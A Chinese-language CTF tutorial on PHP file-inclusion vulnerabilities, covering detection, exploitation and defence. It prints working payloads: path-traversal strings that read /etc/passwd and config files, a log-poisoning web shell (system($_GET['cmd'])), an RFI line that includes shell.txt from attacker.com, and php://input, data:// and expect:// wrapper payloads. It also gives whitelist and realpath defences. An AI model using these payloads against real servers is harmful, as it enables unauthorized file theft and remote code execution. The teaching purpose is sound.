文件包含
约 4287 字大约 14 分钟
2026-04-8
适用场景:CTF Web 入门、PHP 代码审计入门
说明:本文内容仅用于合法授权测试和 CTF 学习环境
1. 漏洞概念
文件包含漏洞,通常是指程序把用户可控的数据当作文件路径传给 include、require 一类函数,且没有做严格限制,最终导致攻击者:
- 读取服务器上的敏感文件
- 读取 PHP 源代码
- 在特定条件下执行恶意代码
- 与日志、上传、Session 等功能组合形成利用链
CTF 中提到“文件包含”,默认大多指 PHP 场景,因为 PHP 原生就有包含机制和大量流包装器(wrapper)。
1.1 与“文件读取”有什么区别
很多新人会把“文件读取”和“文件包含”混在一起,这里先分清:
- 文件读取:典型函数是
readfile()、file_get_contents(),目标通常只是“把文件内容读出来” - 文件包含:典型函数是
include()、require(),目标文件会被当作 PHP 代码上下文的一部分处理
文件包含的危险性通常更高,因为:
- 如果包含的是普通文本文件,内容可能会被直接输出到页面
- 如果包含的是 PHP 文件,其中的 PHP 代码会被服务器解析执行
- 如果攻击者能控制被包含文件的内容,就可能进一步拿到代码执行
1.2 常见危险函数
最常见的危险函数有:
includeinclude_oncerequirerequire_once
典型危险代码:
<?php
$file = $_GET['file'];
include($file);
?>或者:
<?php
$page = $_GET['page'];
require "./pages/" . $page . ".php";
?>第二种看起来“更安全”,实际上如果 page 可控,仍然要进一步分析是否可以绕过目录限制、后缀限制或借助包装器利用。
1.3 为什么 include 能把 /etc/passwd 读出来
这是一个很典型的新手疑问。
当 PHP 执行 include('/etc/passwd') 时:
- 如果文件里有 PHP 标签,PHP 会尝试解析其中的 PHP 代码
- 如果文件里只是普通文本,那么这些文本通常会作为普通输出返回到页面
因此,即使 /etc/passwd 不是 PHP 文件,也可能被“包含后显示出来”。
2. 漏洞成因
文件包含漏洞本质上来自“用户输入参与了文件路径拼接”,而开发者又没有做严格限制。
常见成因包括:
- 直接把 GET、POST、Cookie 参数作为包含路径
- 只做了非常弱的黑名单过滤,例如仅替换
../ - 误以为“固定目录”或“固定后缀”就足够安全
- 把模板名、语言包名、皮肤名、页面名等作为动态包含参数
- 没有意识到 PHP wrapper 也可能被
include
典型场景:
<?php
include $_GET['lang'] . ".php";
?><?php
$tpl = $_GET['tpl'];
include "./template/" . $tpl;
?><?php
require_once($_REQUEST['page']);
?>3. 分类
3.1 本地文件包含 LFI
Local File Inclusion,本地文件包含。攻击者只能包含目标服务器本地已经存在的文件。
常见用途:
- 读取系统敏感文件
- 读取站点配置文件
- 借助
php://filter读取 PHP 源码 - 配合日志文件、上传文件、Session 文件实现代码执行
3.2 远程文件包含 RFI
Remote File Inclusion,远程文件包含。攻击者可让程序去包含远程 URL 上的内容。
RFI 一般需要:
allow_url_include = On- 且相关 URL wrapper 可用
现代真实环境中 RFI 已经比早年少很多,但在老靶场、教学题和配置错误的环境里仍然会出现。
3.3 基于包装器的包含
不少题目虽然名义上是 LFI,但真正的突破点是 PHP wrapper,例如:
php://filter读取源码php://input包含请求体data://直接构造可包含的数据zip://、phar://读取压缩包或归档中的文件
所以实战中不要只盯着 ../../。
4. 黑盒识别思路
4.1 关注哪些参数
下列名字的参数值得优先测试:
filepagepathtemplatetpllangincviewmoduleload
例如:
?file=home.php
?page=index
?lang=zh-cn
?template=default/header.php4.2 哪些现象提示可能存在文件包含
常见信号:
- 页面切换依赖某个参数
- 参数值明显像文件名、模板名、语言包名
- 报错里出现
include()、require()、failed to open stream - 响应中出现绝对路径
- 传入不存在的文件名时,报错信息包含磁盘路径
典型报错:
Warning: include(test.php): failed to open stream: No such file or directory
Warning: include(): Failed opening 'test.php' for inclusion4.3 基本测试顺序
推荐新人按这个顺序试:
- 先确认参数是否真的参与了文件定位
- 再尝试目录穿越
- 再尝试读取明确存在的文件
- 再尝试
php://filter - 最后再考虑日志投毒、上传结合、Session 包含等利用链
基础探测示例:
?file=test
?file=../../../../etc/passwd
?file=../../../../windows/win.ini
?file=php://filter/convert.base64-encode/resource=index.php5. 本地文件包含 LFI
5.1 基础利用方式
路径遍历
最常见的入口就是目录穿越:
?file=../../etc/passwd
?file=../../../../var/www/html/index.php
?file=..%2f..%2f..%2fetc%2fpasswd
?file=..%252f..%252f..%252fetc%252fpasswdWindows 环境下也要记得测试:
?file=..\..\windows\win.ini
?file=..\..\windows\system32\drivers\etc\hosts绝对路径
有些程序会直接允许绝对路径:
?file=/etc/passwd
?file=/var/www/html/config.php
?file=C:\Windows\win.ini站点内部文件
如果知道目录结构,可以直接读业务文件:
?file=../config.php
?file=../.env
?file=../composer.json
?file=../index.php5.2 常见可读文件
CTF 中可以优先尝试下列目标。
Linux 常见文件
/etc/passwd/etc/hostname/etc/issue/proc/version/proc/self/environ/var/log/nginx/access.log/var/log/apache2/access.log/var/log/httpd/access_log- 站点目录下的
index.php、config.php、.env
说明:
/etc/passwd常用于证明 LFI 存在/proc/self/environ有时可用于包含环境变量中的可控数据,但并非总是可行- 日志文件常用于后续投毒
Windows 常见文件
C:\Windows\win.iniC:\Windows\System32\drivers\etc\hostsC:\inetpub\wwwroot\web.config- 站点目录下的
web.config、config.php、.env
5.3 读取 PHP 源代码
直接包含 PHP 文件时,PHP 代码通常会执行,不会原样显示出来。
所以想看源码,最常用的是:
?file=php://filter/convert.base64-encode/resource=index.php拿到响应后,把 Base64 解码即可看到源码。
再比如:
?file=php://filter/convert.base64-encode/resource=../config.php
?file=php://filter/read=convert.base64-encode/resource=./admin.php这是 CTF 中最常见、最实用的文件包含利用方式之一。
5.4 LFI 到代码执行的常见利用链
很多新人卡在这里:
“我已经能包含文件了,但为什么还不能直接执行命令?”
原因是:LFI 本身通常先带来“读文件”能力,要变成 RCE,往往还需要一个“内容可控的本地文件”。
常见思路如下。
方式一:日志投毒
原理:
- Web 服务器会把请求写入访问日志
- 如果你能把 PHP 代码写进日志
- 再通过 LFI 包含这个日志文件
- 那么日志中的 PHP 代码就可能被执行
常见可控位置:
User-AgentReferer- 请求路径
示意:
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target
User-Agent: <?php system($_GET['cmd']); ?>随后包含:
?file=/var/log/nginx/access.log&cmd=id注意:
- 日志路径要猜对
- Web 服务用户要有读取日志权限
- PHP 代码必须真的落入日志
- 有些环境会转义、截断或清洗日志内容
方式二:上传文件再包含
如果站点存在文件上传,并且上传后的文件落在可读位置,就可以:
- 上传一个含 PHP 代码的文件
- 记住上传路径
- 通过 LFI 去包含这个文件
示例:
?file=../upload/evil.jpg
?file=../upload/avatar.png为什么图片也可能被执行:
- 因为
include()不是按扩展名判断,而是按“文件内容 + PHP 解析上下文”处理 - 只要文件里混入了 PHP 代码,并且被
include到 PHP 环境,就可能执行
方式三:包含 Session 文件
有些应用把 Session 存在文件里,路径常见为:
/tmp/sess_<PHPSESSID>
/var/lib/php/sessions/sess_<PHPSESSID>如果你能把可控内容写进 Session,再通过 LFI 包含对应 Session 文件,也可能触发代码执行。
此思路一般要求:
- Session 采用文件存储
- Session 内容中存在可控字段
- 能定位 session 文件路径
方式四:包含临时文件或缓存文件
某些靶场会把:
- 模板缓存
- 错误日志
- 调试输出
- 导出文件
写到本地磁盘。如果这些文件内容部分可控,也可以被用来配合 LFI。
5.5 常见限制与绕过思路
限制一:过滤了 ../
常见绕过方式:
....//
..%2f
..%5c
..//..//etc/passwd如果服务端会先解码再过滤,或先过滤再解码,利用方式会不同,所以要根据响应反复调整。
限制二:拼接了固定后缀
例如:
include($_GET['page'] . '.php');这时要考虑:
- 是否本来就存在可利用的
.php文件 - 能否使用
php://filter/.../resource=xxx.php - 是否是老版本 PHP,可利用空字节截断
老版本空字节截断示意:
?page=../../../../etc/passwd%00但要明确:
%00截断主要是历史技巧- 现代 PHP 环境大多已经不能这样用
- CTF 老题里仍可能出现
限制三:只允许某个目录
例如:
include('./pages/' . $_GET['file']);这时测试点包括:
- 能否继续通过
../穿出去 - 是否能用绝对路径
- 是否能用 wrapper
- 是否存在同目录下本来就能利用的文件
限制四:黑名单过滤了 php://
常见思路:
- URL 编码后再试
- 双重编码后再试
- 大小写混合后再试
- 换其他可用 wrapper
但要注意:
- 并不是所有“花式写法”都有效
- 很多网上流传的
phpp://filter、php:// filter之类写法并不可靠 - 实战中应该基于目标的具体过滤逻辑验证,不要背错 payload
6. 远程文件包含 RFI
6.1 触发条件
RFI 一般需要:
allow_url_include = Onallow_url_fopen = On
如果目标环境关闭了 allow_url_include,那么直接用 http://、ftp:// 做 include 往往行不通。
6.2 典型漏洞代码
<?php
$file = $_GET['file'];
include($file);
?>攻击者可控参数:
?file=http://attacker.com/shell.txt若远程文件内容为:
<?php system($_GET['cmd']); ?>则可能进一步访问:
?file=http://attacker.com/shell.txt&cmd=id6.3 RFI 的特点
与 LFI 相比,RFI 的利用门槛更低,因为攻击者直接控制了被包含文件内容。
但与之对应,RFI 对环境配置要求更高,所以现实中更少见。
7. 常见 PHP Wrapper
这一节是文件包含题的核心知识点。
7.1 php://filter
用途:读取源码、对内容做编码转换。
最常用 payload:
?file=php://filter/convert.base64-encode/resource=index.php也可以写成:
?file=php://filter/read=convert.base64-encode/resource=index.php特点:
- 通常不依赖
allow_url_include = On - 最适合拿源码、找配置、找后门逻辑
- 对 CTF 新人非常重要
7.2 php://input
用途:把 HTTP 请求体作为输入流。
如果代码是:
<?php
include($_GET['file']);
?>则可能尝试:
?file=php://input并发送请求体:
<?php phpinfo(); ?>例如:
curl -X POST --data "<?php phpinfo(); ?>" "http://target/vuln.php?file=php://input"是否可用取决于:
- 目标具体 PHP 版本和配置
- 请求体能否被正常读取
- 代码执行路径是否真的走到
include
7.3 data://
用途:直接把数据当作可包含内容。
常见写法:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+Base64 解码后是:
<?php phpinfo(); ?>注意:
data://通常要求allow_url_include = On- 很适合教学题、配置错误题
7.4 file://
用途:显式指定本地文件。
示例:
?file=file:///etc/passwd
?file=file:///C:/Windows/win.ini有些环境中它和直接写本地路径效果接近。
7.5 zip://
用途:包含压缩包中的文件。
示例:
?file=zip://shell.zip#payload.php
?file=zip://avatar.jpg#shell.php某些题目会把 PHP 代码藏在压缩包里,再诱导你通过 zip:// 去访问包内文件。
7.6 phar://
用途:访问 phar 归档中的文件。
示例:
?file=phar://archive.phar/test.txt说明:
- 在“文件包含”题里,它可以用来访问归档内文件
- 在更进阶的题里,
phar://还常和反序列化链关联
7.7 expect://
用途:执行系统命令。
示例:
?file=expect://id但要注意:
- 需要安装
expect扩展 - 真实环境极少开启
- CTF 里通常只在特定教学题中出现
8. 实战中的判断流程
新人做题时,建议按下面的流程走,不容易乱。
第一步:确认是否真的存在包含点
先试不存在的文件,看报错是否暴露 include、require 相关信息。
第二步:判断操作系统和路径风格
分别尝试:
../../../../etc/passwd
../../../../windows/win.ini哪个成功,基本就能判断环境偏向 Linux 还是 Windows。
第三步:优先拿源码
优先尝试:
php://filter/convert.base64-encode/resource=index.php拿到源码后往往能直接发现:
- 真实包含路径
- 过滤逻辑
- 日志位置
- 上传目录
- Session 处理方式
第四步:再考虑提权到 RCE
如果只是 LFI,常见问题是“能读不能执行”。
这时就要找“本地可控文件”:
- 上传文件
- 日志文件
- Session 文件
- 缓存文件
第五步:验证权限边界
要注意以下问题:
- Web 服务进程是否能读目标文件
- 日志文件是否可读
- 上传目录是否真的存在
- PHP wrapper 是否启用
不是所有 payload 都会在所有环境中成立。
9. 常见误区
9.1 LFI 不等于直接 RCE
LFI 最常见的初始收益是“读文件”或“读源码”,不是直接命令执行。
要到 RCE,通常还要再拼一条利用链。
9.2 php://filter 主要是读源码,不是直接执行代码
它最重要的价值是:
- 看源码
- 找密码
- 找配置
- 找下一步利用点
9.3 allow_url_include = Off 不能防住 LFI
它主要影响的是 URL 类 wrapper 的远程包含,
对本地文件包含本身并没有根本防护作用。
9.4 黑名单替换不是可靠防御
像下面这种代码并不安全:
$file = str_replace('../', '', $_GET['file']);
include($file);因为编码、双写、目录结构变化等都可能导致绕过。
9.5 旧版本技巧不要机械套用
例如:
%00空字节截断- 超长路径截断
- 某些历史 wrapper 绕过
这些技巧在老题里很常见,但在现代环境里未必成立。
做题时要结合目标版本和报错信息判断。
10. 防御思路
培训新人时,不仅要会打,也要知道为什么这些写法危险。
10.1 最推荐的做法:白名单映射
不要把用户输入直接当路径,而是把“页面标识”映射到固定文件。
安全示例:
<?php
$pages = [
'home' => __DIR__ . '/pages/home.php',
'about' => __DIR__ . '/pages/about.php',
'contact' => __DIR__ . '/pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $pages)) {
http_response_code(404);
exit('page not found');
}
require $pages[$page];
?>这种写法的关键点是:
- 用户只能控制“键”,不能控制真实路径
- 每个可包含文件都由开发者显式指定
10.2 如果必须接收文件名,至少要做路径规范化
示例:
<?php
$baseDir = realpath(__DIR__ . '/pages');
$name = $_GET['file'] ?? '';
if (!preg_match('/^[a-zA-Z0-9_-]+\.php$/', $name)) {
exit('invalid file');
}
$target = realpath($baseDir . DIRECTORY_SEPARATOR . $name);
if ($target === false || strpos($target, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
exit('forbidden');
}
require $target;
?>这里做了三层限制:
- 文件名格式限制
realpath()规范化路径- 校验最终路径必须仍在允许目录内
10.3 配置层防御
建议:
allow_url_include = Off
allow_url_fopen = Off
display_errors = Off说明:
allow_url_include不需要时一定关闭allow_url_fopen如果业务不依赖,也应关闭- 关闭详细错误,避免把绝对路径直接泄露给攻击者
10.4 权限与部署层防御
- Web 服务进程使用最小权限运行
- 敏感配置文件不要放在 Web 根目录下
- 上传目录与可执行脚本目录分离
- 上传目录禁止解析 PHP
- 日志、Session、缓存目录合理设置权限
10.5 不推荐的“伪防御”
以下做法都不可靠:
- 只替换
../ - 只过滤
php:// - 只判断是否包含
.php - 只判断参数长度
这些都容易被绕过,不能作为真正防线。
11. CTF 新人训练建议
如果你在带新人,可以按下面顺序训练:
- 先让他理解
include和readfile的区别 - 再让他手工测试
../../../../etc/passwd - 接着练
php://filter读源码 - 再练日志投毒、上传结合、Session 包含
- 最后再补充
data://、php://input、phar://等 wrapper
练习时重点观察:
- 参数名
- 报错信息
- 路径风格
- 是否有固定前缀和后缀
- 是否能拿源码
- 是否存在本地可控文件
12. 总结
文件包含是 Web CTF 中非常高频的一类漏洞,核心不只是“目录穿越”,而是:
- 识别危险包含点
- 利用 LFI 读取敏感文件和源代码
- 借助 wrapper 提升信息获取能力
- 结合日志、上传、Session 等功能把 LFI 扩展为 RCE
对新人来说,最应该优先掌握的是两件事:
- 会从报错和参数名中识别文件包含
- 会稳定使用
php://filter读取源码
把这两点练熟,绝大多数入门级文件包含题都会顺很多。
